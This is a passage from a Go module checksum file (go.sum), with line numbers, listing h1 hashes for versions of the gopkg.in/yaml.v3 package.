h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 272 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 273 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 274 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 275 | --------------------------------------------------------------------------------